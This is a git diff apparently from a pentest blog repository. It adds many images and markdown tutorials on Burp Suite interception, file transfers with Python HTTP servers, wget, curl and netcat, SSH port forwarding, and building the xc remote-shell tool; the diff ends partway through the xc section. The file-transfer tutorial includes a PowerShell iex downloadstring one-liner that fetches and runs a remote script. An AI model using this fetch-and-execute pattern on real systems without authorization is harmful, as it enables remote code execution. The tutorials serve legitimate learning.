Binary files /dev/null and b/Medium/prg/63_001.png differ diff --git a/Medium/prg/63_002.png b/Medium/prg/63_002.png new file mode 100644 index 0000000..6e34701 Binary files /dev/null and b/Medium/prg/63_002.png differ diff --git a/Medium/prg/63_003.png b/Medium/prg/63_003.png new file mode 100644 index 0000000..2c384c4 Binary files /dev/null and b/Medium/prg/63_003.png differ diff --git a/Medium/prg/63_004.png b/Medium/prg/63_004.png new file mode 100644 index 0000000..389126e Binary files /dev/null and b/Medium/prg/63_004.png differ diff --git a/Medium/prg/63_005.png b/Medium/prg/63_005.png new file mode 100644 index 0000000..04026d4 Binary files /dev/null and b/Medium/prg/63_005.png differ diff --git a/Medium/prg/63_006.png b/Medium/prg/63_006.png new file mode 100644 index 0000000..489ee28 Binary files /dev/null and b/Medium/prg/63_006.png differ diff --git a/Medium/prg/63_007.png b/Medium/prg/63_007.png new file mode 100644 index 0000000..35d0ce6 Binary files /dev/null and b/Medium/prg/63_007.png differ diff --git a/Medium/prg/63_008.png b/Medium/prg/63_008.png new file mode 100644 index 0000000..e04b6d8 Binary files /dev/null and b/Medium/prg/63_008.png differ diff --git a/Medium/prg/63_009.png b/Medium/prg/63_009.png new file mode 100644 index 0000000..bfd9af5 Binary files /dev/null and b/Medium/prg/63_009.png differ diff --git a/Medium/prg/63_010.png b/Medium/prg/63_010.png new file mode 100644 index 0000000..9908d7f Binary files /dev/null and b/Medium/prg/63_010.png differ diff --git a/Medium/prg/63_011.png b/Medium/prg/63_011.png new file mode 100644 index 0000000..7879635 Binary files /dev/null and b/Medium/prg/63_011.png differ diff --git a/Medium/prg/63_012.png b/Medium/prg/63_012.png new file mode 100644 index 0000000..2b6f947 Binary files /dev/null and b/Medium/prg/63_012.png differ diff --git a/Medium/prg/63_013.png b/Medium/prg/63_013.png new file mode 100644 index 0000000..24d315e Binary files /dev/null and b/Medium/prg/63_013.png differ diff --git a/Medium/prg/63_014.png b/Medium/prg/63_014.png new file mode 100644 index 0000000..34aead4 Binary files /dev/null and b/Medium/prg/63_014.png differ diff --git a/Medium/prg/64_001.png b/Medium/prg/64_001.png new file mode 100644 index 0000000..7b406ec Binary files /dev/null and b/Medium/prg/64_001.png differ diff --git a/Medium/prg/64_002.png b/Medium/prg/64_002.png new file mode 100644 index 0000000..e4d559b Binary files /dev/null and b/Medium/prg/64_002.png differ diff --git a/Medium/prg/64_003.png b/Medium/prg/64_003.png new file mode 100644 index 0000000..7556f49 Binary files /dev/null and b/Medium/prg/64_003.png differ diff --git a/Medium/prg/64_004.png b/Medium/prg/64_004.png new file mode 100644 index 0000000..8e3bb5e Binary files /dev/null and b/Medium/prg/64_004.png differ diff --git a/Medium/prg/64_005.png b/Medium/prg/64_005.png new file mode 100644 index 0000000..d7d9598 Binary files /dev/null and b/Medium/prg/64_005.png differ diff --git a/Medium/prg/64_006.png b/Medium/prg/64_006.png new file mode 100644 index 0000000..c88ca44 Binary files /dev/null and b/Medium/prg/64_006.png differ diff --git a/Medium/prg/64_007.png b/Medium/prg/64_007.png new file mode 100644 index 0000000..fefcf99 Binary files /dev/null and b/Medium/prg/64_007.png differ diff --git a/Medium/prg/64_008.png b/Medium/prg/64_008.png new file mode 100644 index 0000000..8c6d0ff Binary files /dev/null and b/Medium/prg/64_008.png differ diff --git a/Medium/prg/65_001.png b/Medium/prg/65_001.png new file mode 100644 index 0000000..ec54c8c Binary files /dev/null and b/Medium/prg/65_001.png differ diff --git a/Medium/prg/65_002.png b/Medium/prg/65_002.png new file mode 100644 index 0000000..97caccd Binary files /dev/null and b/Medium/prg/65_002.png differ diff --git a/Medium/prg/65_003.png b/Medium/prg/65_003.png new file mode 100644 index 0000000..ddd7300 Binary files /dev/null and b/Medium/prg/65_003.png differ diff --git a/Medium/prg/65_004.png b/Medium/prg/65_004.png new file mode 100644 index 0000000..f1f7883 Binary files /dev/null and b/Medium/prg/65_004.png differ diff --git a/Medium/prg/66_001.png b/Medium/prg/66_001.png new file mode 100644 index 0000000..9acb0f7 Binary files /dev/null and b/Medium/prg/66_001.png differ diff --git a/Medium/prg/66_002.png b/Medium/prg/66_002.png new file mode 100644 index 0000000..0e5afa2 Binary files /dev/null and b/Medium/prg/66_002.png differ diff --git a/Medium/prg/66_003.png b/Medium/prg/66_003.png new file mode 100644 index 0000000..2f27eed Binary files /dev/null and b/Medium/prg/66_003.png differ diff --git a/Medium/prg/66_004.png b/Medium/prg/66_004.png new file mode 100644 index 0000000..2e12cd2 Binary files /dev/null and b/Medium/prg/66_004.png differ diff --git a/Medium/prg/66_005.png b/Medium/prg/66_005.png new file mode 100644 index 0000000..edc17d9 Binary files /dev/null and b/Medium/prg/66_005.png differ diff --git a/Medium/prg/66_006.png b/Medium/prg/66_006.png new file mode 100644 index 0000000..2103ae3 Binary files /dev/null and b/Medium/prg/66_006.png differ diff --git a/Medium/prg/66_007.png b/Medium/prg/66_007.png new file mode 100644 index 0000000..fb29834 Binary files /dev/null and b/Medium/prg/66_007.png differ diff --git a/Medium/prg/66_008.png b/Medium/prg/66_008.png new file mode 100644 index 0000000..9fd8d55 Binary files /dev/null and b/Medium/prg/66_008.png differ diff --git a/Medium/prg/67_001.png b/Medium/prg/67_001.png new file mode 100644 index 0000000..4c3e13d Binary files /dev/null and b/Medium/prg/67_001.png differ diff --git a/Medium/prg/67_002.png b/Medium/prg/67_002.png new file mode 100644 index 0000000..b8d5bd2 Binary files /dev/null and b/Medium/prg/67_002.png differ diff --git a/Medium/prg/67_003.png b/Medium/prg/67_003.png new file mode 100644 index 0000000..fea5fa8 Binary files /dev/null and b/Medium/prg/67_003.png differ diff --git a/Medium/prg/68_001.png b/Medium/prg/68_001.png new file mode 100644 index 0000000..652879e Binary files /dev/null and b/Medium/prg/68_001.png differ diff --git a/Medium/prg/68_002.png b/Medium/prg/68_002.png new file mode 100644 index 0000000..606654d Binary files /dev/null and b/Medium/prg/68_002.png differ diff --git a/Medium/prg/68_003.png b/Medium/prg/68_003.png new file mode 100644 index 0000000..91cc6bb Binary files /dev/null and b/Medium/prg/68_003.png differ diff --git a/Medium/prg/68_004.png b/Medium/prg/68_004.png new file mode 100644 index 0000000..38fcd6d Binary files /dev/null and b/Medium/prg/68_004.png differ diff --git a/Medium/prg/68_005.png b/Medium/prg/68_005.png new file mode 100644 index 0000000..e59b8a8 Binary files /dev/null and b/Medium/prg/68_005.png differ diff --git a/Medium/prg/68_006.png b/Medium/prg/68_006.png new file mode 100644 index 0000000..6e19d1e Binary files /dev/null and b/Medium/prg/68_006.png differ diff --git a/Medium/prg/68_007.png b/Medium/prg/68_007.png new file mode 100644 index 0000000..d7f64c8 Binary files /dev/null and b/Medium/prg/68_007.png differ diff --git a/Medium/prg/68_008.png b/Medium/prg/68_008.png new file mode 100644 index 0000000..6fe5150 Binary files /dev/null and b/Medium/prg/68_008.png differ diff --git a/Medium/prg/68_009.png b/Medium/prg/68_009.png new file mode 100644 index 0000000..89bcc06 Binary files /dev/null and b/Medium/prg/68_009.png differ diff --git a/Medium/prg/6_001.png b/Medium/prg/6_001.png new file mode 100644 index 0000000..15f53dd Binary files /dev/null and b/Medium/prg/6_001.png differ diff --git a/Medium/prg/6_002.png b/Medium/prg/6_002.png new file mode 100644 index 0000000..da8921a Binary files /dev/null and b/Medium/prg/6_002.png differ diff --git a/Medium/prg/7_001.png b/Medium/prg/7_001.png new file mode 100644 index 0000000..ed9eb38 Binary files /dev/null and b/Medium/prg/7_001.png differ diff --git a/Medium/prg/7_002.png b/Medium/prg/7_002.png new file mode 100644 index 0000000..dabbedb Binary files /dev/null and b/Medium/prg/7_002.png differ diff --git a/Medium/prg/7_003.png b/Medium/prg/7_003.png new file mode 100644 index 0000000..342f1f3 Binary files /dev/null and b/Medium/prg/7_003.png differ diff --git a/Medium/prg/8_001.png b/Medium/prg/8_001.png new file mode 100644 index 0000000..9f062be Binary files /dev/null and b/Medium/prg/8_001.png differ diff --git a/Medium/prg/8_002.png b/Medium/prg/8_002.png new file mode 100644 index 0000000..c6c670b Binary files /dev/null and b/Medium/prg/8_002.png differ diff --git a/Medium/prg/9_001.png b/Medium/prg/9_001.png new file mode 100644 index 0000000..479569a Binary files /dev/null and b/Medium/prg/9_001.png differ diff --git a/Medium/prg/9_002.png b/Medium/prg/9_002.png new file mode 100644 index 0000000..b1cd00e Binary files /dev/null and b/Medium/prg/9_002.png differ diff --git a/Medium/prg/9_003.png b/Medium/prg/9_003.png new file mode 100644 index 0000000..9113be7 Binary files /dev/null and b/Medium/prg/9_003.png differ diff --git a/Medium/prg/9_004.png b/Medium/prg/9_004.png new file mode 100644 index 0000000..ef1d2cc Binary files /dev/null and b/Medium/prg/9_004.png differ diff --git a/Medium/prg/9_005.png b/Medium/prg/9_005.png new file mode 100644 index 0000000..1cde8c4 Binary files /dev/null and b/Medium/prg/9_005.png differ diff --git a/Medium/prg/9_006.png b/Medium/prg/9_006.png new file mode 100644 index 0000000..a970a72 Binary files /dev/null and b/Medium/prg/9_006.png differ diff --git a/Medium/prg/9_007.png b/Medium/prg/9_007.png new file mode 100644 index 0000000..1ac4f75 Binary files /dev/null and b/Medium/prg/9_007.png differ diff --git a/Medium/prg/9_008.png b/Medium/prg/9_008.png new file mode 100644 index 0000000..adcf24f Binary files /dev/null and b/Medium/prg/9_008.png differ diff --git a/Tools/0/0.png b/Tools/0/0.png new file mode 100644 index 0000000..d801cbd Binary files /dev/null and b/Tools/0/0.png differ diff --git a/Tools/0/index.md b/Tools/0/index.md new file mode 100644 index 0000000..80a702c --- /dev/null +++ b/Tools/0/index.md @@ -0,0 +1,10 @@ +# Setup + +![](0.png) + +## Introduction : + +## **Installation** + +## **Example Usage** + diff --git a/Tools/burp/0.png b/Tools/burp/0.png new file mode 100644 index 0000000..b2e0171 Binary files /dev/null and b/Tools/burp/0.png differ diff --git a/Tools/burp/1.png b/Tools/burp/1.png new file mode 100644 index 0000000..5ccb923 Binary files /dev/null and b/Tools/burp/1.png differ diff --git a/Tools/burp/10.png b/Tools/burp/10.png new file mode 100644 index 0000000..1453b55 Binary files /dev/null and b/Tools/burp/10.png differ diff --git a/Tools/burp/11.png b/Tools/burp/11.png new file mode 100644 index 0000000..f1d057b Binary files /dev/null and b/Tools/burp/11.png differ diff --git a/Tools/burp/12.png b/Tools/burp/12.png new file mode 100644 index 0000000..9689381 Binary files /dev/null and b/Tools/burp/12.png differ diff --git a/Tools/burp/13.png b/Tools/burp/13.png new file mode 100644 index 0000000..f454497 Binary files /dev/null and b/Tools/burp/13.png differ diff --git a/Tools/burp/14.png b/Tools/burp/14.png new file mode 100644 index 0000000..efae355 Binary files /dev/null and b/Tools/burp/14.png differ diff --git a/Tools/burp/15.png b/Tools/burp/15.png new file mode 100644 index 0000000..148ac4a Binary files /dev/null and b/Tools/burp/15.png differ diff --git a/Tools/burp/2.png b/Tools/burp/2.png new file mode 100644 index 0000000..43b189a Binary files /dev/null and b/Tools/burp/2.png differ diff --git a/Tools/burp/3.png b/Tools/burp/3.png new file mode 100644 index 0000000..bc2e920 Binary files /dev/null and b/Tools/burp/3.png differ diff --git a/Tools/burp/4.png b/Tools/burp/4.png new file mode 100644 index 0000000..9feb14c Binary files /dev/null and b/Tools/burp/4.png differ diff --git a/Tools/burp/5.png b/Tools/burp/5.png new file mode 100644 index 0000000..8cc78b7 Binary files /dev/null and b/Tools/burp/5.png differ diff --git a/Tools/burp/6.png b/Tools/burp/6.png new file mode 100644 index 0000000..7443dc7 Binary files /dev/null and b/Tools/burp/6.png differ diff --git a/Tools/burp/7.png b/Tools/burp/7.png new file mode 100644 index 0000000..c2a14a8 Binary files /dev/null and b/Tools/burp/7.png differ diff --git a/Tools/burp/8.png b/Tools/burp/8.png new file mode 100644 index 0000000..51d9587 Binary files /dev/null and b/Tools/burp/8.png differ diff --git a/Tools/burp/9.png b/Tools/burp/9.png new file mode 100644 index 0000000..328abba Binary files /dev/null and b/Tools/burp/9.png differ diff --git a/Tools/burp/index.md b/Tools/burp/index.md new file mode 100644 index 0000000..922ef0c --- /dev/null +++ b/Tools/burp/index.md @@ -0,0 +1,83 @@ +# Burpsuite Setup + +![](0.png) + +## Introduction : + +Burpsuite is a Java Application developped by PortSwigger which is used as a pentest framework for web applications. In this tutorial we're going to look at how it can be commonly used. + +## **Installation** + +First let's install [FoxyProxy](https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/?utm_source=addons.mozilla.org&utm_medium=referral&utm_content=search) + +![](1.png) ![](2.png) ![](3.png) + +Then we install burpsuite: + + + apt install burpsuite + + + +## **Intercepting HTTP requests** + +Now let's configure FoxyProxy to intercept the request we make to the server: + +![](4.png) ![](5.png) + +Now let's test it: + +![](6.png) + +So here we intercepted the request we made for the server, we didn't forward it yet. + + + GET /login.php HTTP/1.1 + Host: previse.htb + User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:99.0) Gecko/20100101 Firefox/99.0 + Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 + Accept-Language: en-US,en;q=0.5 + Accept-Encoding: gzip, deflate + Connection: close + Cookie: PHPSESSID=s4pu8loq7vmi15a095ipjl1095 + Upgrade-Insecure-Requests: 1 + + + +Usually what we want to do is test what we can send to the web server, repeatedly. To do that we use the repeater tab (**CTRL+R** to send the request to the repeater tab and **CTRL+SHIFT+R** to go to the repeater tab): + +![](7.png) + +So from here we can change the request and keep sending it to check how the web server behaves differently: + +![](8.png) + +## **Intercepting HTTPS requests** + +Now that we managed to intercept our HTTP request let's do the same with HTTPS, it requires a little more setup: + +While the intercept is on, let's go to **http://burp** in order to download burpsuite's certificate: + +![](9.png) + + + [ 10.10.14.68/23 ] [ /dev/pts/20 ] [~/Downloads] + → file cacert.der + cacert.der: Certificate, Version=3 + + + +And now with this we want our firefox browser to consider this certificate as secure, via a security exception: + +![](10.png) ![](11.png) ![](12.png) + +Now with this change we can intercept HTTPS traffic: + +![](14.png) + +Now do the 2 keybinds to send the request to the repeater tab: + +![](15.png) + +And there you have it ! We have been able to intercept both HTTP and HTTPS traffic via burpsuite to debug how websites respond to our requests! + diff --git a/Tools/files/files.png b/Tools/files/files.png new file mode 100644 index 0000000..5377a5a Binary files /dev/null and b/Tools/files/files.png differ diff --git a/Tools/files/files2.png b/Tools/files/files2.png new file mode 100644 index 0000000..812aea7 Binary files /dev/null and b/Tools/files/files2.png differ diff --git a/Tools/files/files3.png b/Tools/files/files3.png new file mode 100644 index 0000000..f0a6502 Binary files /dev/null and b/Tools/files/files3.png differ diff --git a/Tools/files/files4.png b/Tools/files/files4.png new file mode 100644 index 0000000..ab3f2b7 Binary files /dev/null and b/Tools/files/files4.png differ diff --git a/Tools/files/index.md b/Tools/files/index.md new file mode 100644 index 0000000..e64b05e --- /dev/null +++ b/Tools/files/index.md @@ -0,0 +1,192 @@ +# File Transfers + +![](files.png) + +## Introduction : + +During system administration tasks and even more so during pentests, one will come across the need to transfer files from one host to another. And it is actually simpler than you think! There is no need to go through an external server for that. + +## **Linux -> Linux** + +On 99% of linux distributions, there is python installed by default, python has a HTTP module by default, and it can be used to 'serve' files from one host to another: + + + [ 10.66.66.2/32 ] [ /dev/pts/23 ] [blog/HTB/Tools] + → ssh home + Linux home 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64 + + The programs included with the Debian GNU/Linux system are free software; + the exact distribution terms for each program are described in the + individual files in /usr/share/doc/*/copyright. + + Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent + permitted by applicable law. + Last login: Tue Jun 15 03:00:12 2021 from 127.0.0.1 + root@home:~# ip a | grep inet | grep 10.0.0 + inet 10.0.0.101/16 brd 10.0.255.255 scope global ens18 + + + + [ 10.66.66.2/32 ] [ /dev/pts/37 ] [/tmp] + → ip a | grep inet | grep 10.0.0 + inet 10.0.0.10/16 brd 10.0.255.255 scope global dynamic noprefixroute eth0 + + + +Let's say i want to transfer files from my 'home' machine at **10.0.0.101** to and from my 'mainpc' machine at **10.0.0.10** + +First thing to check is if the hosts can ping each other: + + + [ 10.66.66.2/32 ] [ /dev/pts/37 ] [/tmp] + → ping 10.0.0.101 -c2 + PING 10.0.0.101 (10.0.0.101) 56(84) bytes of data. + 64 bytes from 10.0.0.101: icmp_seq=1 ttl=64 time=0.571 ms + 64 bytes from 10.0.0.101: icmp_seq=2 ttl=64 time=0.594 ms + + root@home:~# ping -c2 10.0.0.10 + PING 10.0.0.10 (10.0.0.10) 56(84) bytes of data. + 64 bytes from 10.0.0.10: icmp_seq=1 ttl=64 time=0.805 ms + 64 bytes from 10.0.0.10: icmp_seq=2 ttl=64 time=0.693 ms + + + +And they can, now in order to SERVE files you can use python's SimpleHTTPServer module: + + + [ 10.66.66.2/32 ] [ /dev/pts/37 ] [/tmp] + → python -m SimpleHTTPServer 8080 + Serving HTTP on 0.0.0.0 port 8080 ... + + + +Or you can use python3's http module: + + + [ 10.66.66.2/32 ] [ /dev/pts/37 ] [/tmp] + → python3 -m http.server 8080 + Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ... + + + +Now that the local http server is active on port 8080, you can see what it looks like from a web-browser: + +![](files2.png) + +so now you need to check if you have access to either **wget** , or **curl** or **nc** + + + root@home:~# which wget curl nc + /usr/bin/wget + /usr/bin/curl + /usr/bin/nc + + + +These are all 3 binaries you can use to GET the files to that machine. Let's download our test.txt file to my home machine: + + + root@home:/tmp# wget http://10.0.0.10:8080/test.txt -O test.txt + --2021-06-15 09:13:21-- http://10.0.0.10:8080/test.txt + Connecting to 10.0.0.10:8080... connected. + HTTP request sent, awaiting response... 200 OK + Length: 0 [text/plain] + Saving to: ‘test.txt’ + + test.txt [ <=> ] 0 --.-KB/s in 0s + + 2021-06-15 09:13:21 (0.00 B/s) - ‘test.txt’ saved [0/0] + + root@home:/tmp# curl http://10.0.0.10:8080/test.txt > test.txt + % Total % Received % Xferd Average Speed Time Time Time Current + Dload Upload Total Spent Left Speed + 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0 + + + +Now in order to transfer files using netcat (nc) you need to do the following: + + + root@home:/tmp# nc -lvnp 9001 > test.txt + listening on [any] 9001 ... + + + +First you setup netcat to listen on port 9001, and then you SEND the test file from the other host: + + + [ 10.66.66.2/32 ] [ /dev/pts/38 ] [/tmp] + → cat test.txt | nc 10.0.0.101 9001 + + + root@home:/tmp# nc -lvnp 9001 > test.txt + listening on [any] 9001 ... + connect to [10.0.0.101] from (UNKNOWN) [10.0.0.10] 41694 + + ^C (or CTRL+C) + + +As you can see there has been a connection made there, and once it's done transferring hit CTRL+C to close netcat. We can also check the md5sum hashes of both files on both hosts to check if they are the same. + + + root@home:/tmp# md5sum test.txt + ef7cbb58d1d239b28fc6ae18e9ccf8ea test.txt + + [ 10.66.66.2/32 ] [ /dev/pts/38 ] [/tmp] + → md5sum test.txt + ef7cbb58d1d239b28fc6ae18e9ccf8ea test.txt + + + +And as you can see here, both files are identical because they have the same hashes. + +## **Linux -> Windows** + +Now in order to transfer files from a linux host to a windows host, First just like before we use python to serve our files: + + + [ 10.66.66.2/32 ] [ /dev/pts/37 ] [/tmp] + → python3 -m http.server 8080 + Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ... + + + +Next you need to open powershell (either via SSH or via the windows desktop (WIN+X i)), and use the following: + + + Windows PowerShell + Copyright (C) Microsoft Corporation. All rights reserved. + + Try the new cross-platform PowerShell https://aka.ms/pscore6 + + PS C:\Users\nothing> cd C:\Temp + PS C:\Temp> + + +Now what we will use here to GET the file is the following one liner command: + + + Invoke-WebRequest -Uri http://10.0.0.10:8080/test.txt -O test2.txt + iwr -Uri http://10.0.0.10:8080/test.txt -O test2.txt + + + +` ![](files3.png) + +This will basically download the file. Now if you want to run commands from the command line you can do the following: + + + [ 10.66.66.2/32 ] [ /dev/pts/1 ] [/tmp] + → echo 'ls' > test.ps1 + + [ 10.66.66.2/32 ] [ /dev/pts/1 ] [/tmp] + → python3 -m http.server 9090 + Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ... + + iex(new-object net.webclient).downloadstring('http://10.0.0.10:9090/test.ps1') + + +` ![](files4.png) + +And there you go! We managed to run the code inside of the test.ps1 file right after downloading it. + diff --git a/Tools/sshtunnels/index.md b/Tools/sshtunnels/index.md new file mode 100644 index 0000000..19f360b --- /dev/null +++ b/Tools/sshtunnels/index.md @@ -0,0 +1,180 @@ +# SSH Tunnels + +![](sshtunnel.jpeg) + +## Introduction : + +SSH tunnels are commonly used in sysadmin and pentesting tasks in order to access remotel-only or local-only accessible ports. In this tutorial we're going to demonstrate how it works: + +## **Requirements** + +The prerequisite is obvious, get a SSH connection, i will use my ssh connection to my home host: + + + [ 10.66.66.2/32 ] [ /dev/pts/19 ] [blog/HTB/Tools] + → cat ~/.ssh/config + Host home + Hostname 10.0.0.101 + IdentityFile ~/.ssh/mainpc + User root + + [ 10.66.66.2/32 ] [ /dev/pts/18 ] [blog/HTB/Tools] + → ssh home + Linux home 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64 + + The programs included with the Debian GNU/Linux system are free software; + the exact distribution terms for each program are described in the + individual files in /usr/share/doc/*/copyright. + + Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent + permitted by applicable law. + Last login: Tue Jun 15 09:03:34 2021 from 10.0.0.10 + root@home:~# + + + +That's a SSH connection using the private key in my **~/.ssh/** directory. Of course this also works with regular SSH connections, you just have to specify the username and the remote host **ssh user@ip** + + + [ 10.66.66.2/32 ] [ /dev/pts/18 ] [blog/HTB/Tools] + → ssh root@10.0.0.101 + root@10.0.0.101's password: + Linux home 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64 + + The programs included with the Debian GNU/Linux system are free software; + the exact distribution terms for each program are described in the + individual files in /usr/share/doc/*/copyright. + + Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent + permitted by applicable law. + Last login: Tue Jun 15 10:57:36 2021 from 10.0.0.10 + root@home:~# + + +Currently i am using the following network : + +![](sshtunnels2.png) + +## **Using SSH Tunnels** + +One of the many use cases you want to use SSH tunnels for, is to access ports that are only remotely accessible. For example, there is a port that will only accept connections from localhost (127.0.0.1), In theory this is not possible to access this port from across the network, it should only be possible on the server ITSELF. + +![](sshtunnels3.png) + +Now the use case of SSH tunnels here is that we want to be able to access that **9091** port on the **10.0.0.101** host locally. But we currently can't because it restrics connections from it's localhost. + + + [terminal 1] + root@home:/tmp/test# python3 -m http.server 9091 --bind 127.0.0.1 + Serving HTTP on 127.0.0.1 port 9091 (http://127.0.0.1:9091/) ... + + [terminal 2] + [ 10.66.66.2/32 ] [ /dev/pts/18 ] [blog/HTB/Tools] + → curl 10.0.0.101:9091 + curl: (7) Failed to connect to 10.0.0.101 port 9091: Connection refused + + [ 10.66.66.2/32 ] [ /dev/pts/18 ] [blog/HTB/Tools] + → ssh home + + root@home:~# curl 127.0.0.1:9091 + + + + # Directory listing for / + + + + + +Now here you see that we can only access the webserver from the hosts' localhost. So let's spawn a SSH Tunnel to port forward the remote 9091 port to our **local** port with the **-L** flag with the following syntax: + +ssh **-L [local_bind:]localport:remote_bind:remoteport** user@ip + +If we don't specify the local bind, ssh assumes that this is 127.0.0.1, so let's say we want to port forward the remote port **9091** to our local port **9999** we use the following command: + + + [ 10.66.66.2/32 ] [ /dev/pts/18 ] [blog/HTB/Tools] + → **ssh -L 9999:127.0.0.1:9091 home** + Linux home 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64 + + The programs included with the Debian GNU/Linux system are free software; + the exact distribution terms for each program are described in the + individual files in /usr/share/doc/*/copyright. + + Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent + permitted by applicable law. + Last login: Tue Jun 15 12:22:58 2021 from 10.0.0.10 + root@home:~# + + + +` ![](sshtunnels4.png) + +Now with this the SSH Tunnel is active, and you can verify that we port forwarded the remote port 9091 to our local port 9999 : + + + [ 10.66.66.2/32 ] [ /dev/pts/19 ] [blog/HTB/Tools] + → curl 127.0.0.1:9999 + + + + # Directory listing for / + + + + +Now we can also do the opposite, where we expose one of our local ports to the **remote** server using the **-R** flag which stands for Reverse: + + + [ 10.66.66.2/32 ] [ /dev/pts/0 ] [/tmp/test] + → python3 -m http.server 8081 --bind 127.0.0.1 + Serving HTTP on 127.0.0.1 port 8081 (http://127.0.0.1:8081/) ... + + + +` ![](sshtunnels5.png) + +We can check it is there with curl: + + + [ 10.66.66.2/32 ] [ /dev/pts/19 ] [blog/HTB/Tools] + → curl 127.0.0.1:8081 + + + + # Directory listing for / + + + + [ 10.66.66.2/32 ] [ /dev/pts/19 ] [blog/HTB/Tools] + → ssh home + + root@home:~# curl 10.0.0.10:8081 + curl: (7) Failed to connect to 10.0.0.10 port 8081: Connection refused + + + +So we create a SSH tunnel using the following syntax: + +ssh **-R [remote_bind:]remoteport:localbind:localport** user@ip + +Same as before, the remote bind isn't needed, by default it will use localhost. + +![](sshtunnels6.png) + +Here we want the remote host to have our local **8081** port to be forwarded to the remote **8888** port: + + + [ 10.66.66.2/32 ] [ /dev/pts/18 ] [/tmp/test] + → ssh -R 8888:127.0.0.1:8081 home + + root@home:~# curl 127.0.0.1:8888 + + + # Directory listing for / + + + + +And that's it! We verified that our port forwarding was successful. + diff --git a/Tools/sshtunnels/sshtunnel.jpeg b/Tools/sshtunnels/sshtunnel.jpeg new file mode 100644 index 0000000..2bb783d Binary files /dev/null and b/Tools/sshtunnels/sshtunnel.jpeg differ diff --git a/Tools/sshtunnels/sshtunnels2.png b/Tools/sshtunnels/sshtunnels2.png new file mode 100644 index 0000000..7750f15 Binary files /dev/null and b/Tools/sshtunnels/sshtunnels2.png differ diff --git a/Tools/sshtunnels/sshtunnels3.png b/Tools/sshtunnels/sshtunnels3.png new file mode 100644 index 0000000..991f650 Binary files /dev/null and b/Tools/sshtunnels/sshtunnels3.png differ diff --git a/Tools/sshtunnels/sshtunnels4.png b/Tools/sshtunnels/sshtunnels4.png new file mode 100644 index 0000000..6597c27 Binary files /dev/null and b/Tools/sshtunnels/sshtunnels4.png differ diff --git a/Tools/sshtunnels/sshtunnels5.png b/Tools/sshtunnels/sshtunnels5.png new file mode 100644 index 0000000..4d87bec Binary files /dev/null and b/Tools/sshtunnels/sshtunnels5.png differ diff --git a/Tools/sshtunnels/sshtunnels6.png b/Tools/sshtunnels/sshtunnels6.png new file mode 100644 index 0000000..567b149 Binary files /dev/null and b/Tools/sshtunnels/sshtunnels6.png differ diff --git a/Tools/xc/index.md b/Tools/xc/index.md new file mode 100644 index 0000000..3c9fe06 --- /dev/null +++ b/Tools/xc/index.md @@ -0,0 +1,237 @@ +# xc Setup + +![](xc.png) + +## Introduction : + +[xc](https://github.com/xct/xc) is an alternative improvement to the netcat utility that was made by [xct](https://app.hackthebox.eu/profile/13569) one of the top hackthebox users, it was written in golang and allows for a whole range of options like uploading, downloading, port local/remote port forwarding, or just spawning a shell on the remote server. + +## **Installation** + + + [ 10.10.14.13/23 ] [ /dev/pts/43 ] [~/HTB/Servmon] + → sudo apt install golang-go + + [ 10.10.14.13/23 ] [ /dev/pts/43 ] [~/HTB/Servmon] + → git clone https://github.com/xct/xc ; cd xc + + [ 10.10.14.13/23 ] [ /dev/pts/43 ] [~/HTB/Servmon] + → go version + go version go1.15.9 linux/amd64 + + + +We first need go version 1.15+ to be able to compile the xc binary, then clone the xc repository, then we follow the setup steps on the README.md: + + + [ 10.10.14.13/23 ] [ /dev/pts/43 ] [HTB/Servmon/xc] + → go get golang.org/x/sys/... + + [ 10.10.14.13/23 ] [ /dev/pts/43 ] [HTB/Servmon/xc] + → go get golang.org/x/text/encoding/unicode + + [ 10.10.14.13/23 ] [ /dev/pts/43 ] [HTB/Servmon/xc] + → go get github.com/hashicorp/yamux + + [ 10.10.14.13/23 ] [ /dev/pts/43 ] [HTB/Servmon/xc] + → go get github.com/ropnop/go-clr + package github.com/ropnop/go-clr: build constraints exclude all Go files in /home/nothing/go/src/github.com/ropnop/go-clr + + [ 10.10.14.13/23 ] [ /dev/pts/43 ] [HTB/Servmon/xc] + → pip3 install donut-shellcode + Collecting donut-shellcode + Downloading donut-shellcode-0.9.2.tar.gz (149 kB) + |████████████████████████████████| 149 kB 2.0 MB/s + Building wheels for collected packages: donut-shellcode + Building wheel for donut-shellcode (setup.py) ... done + Created wheel for donut-shellcode: filename=donut_shellcode-0.9.2-cp39-cp39-linux_x86_64.whl size=56786 sha256=0e6037e945da6f8496c98bdb849a13ca84339af1ef50166a7480d6477d9729b8 + Stored in directory: /home/nothing/.cache/pip/wheels/ac/72/45/1a77c4737812b5635cd958224c0ff623ebcef62c15ef083bab + Successfully built donut-shellcode + Installing collected packages: donut-shellcode + Successfully installed donut-shellcode-0.9.2 + + [ 10.10.14.13/23 ] [ /dev/pts/43 ] [HTB/Servmon/xc] + → sudo apt install rlwrap upx -y + + [ 10.10.14.13/23 ] [ /dev/pts/43 ] [HTB/Servmon/xc] + → make + + + +## **Basic Usage** + + + [ 10.10.14.13/23 ] [ /dev/pts/43 ] [HTB/Servmon/xc] + → ls -lash | grep xc + 1.3M -rwxr-xr-x 1 nothing nothing 1.3M May 30 14:03 xc + 3.2M -rwxr-xr-x 1 nothing nothing 3.2M May 30 14:03 xc.exe + 4.0K -rw-r--r-- 1 nothing nothing 2.7K May 30 14:03 xc.go + + [ 10.10.14.13/23 ] [ /dev/pts/43 ] [HTB/Servmon/xc] + → file xc xc.exe xc.go + xc: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), statically linked, no section header + xc.exe: PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows + xc.go: C source, 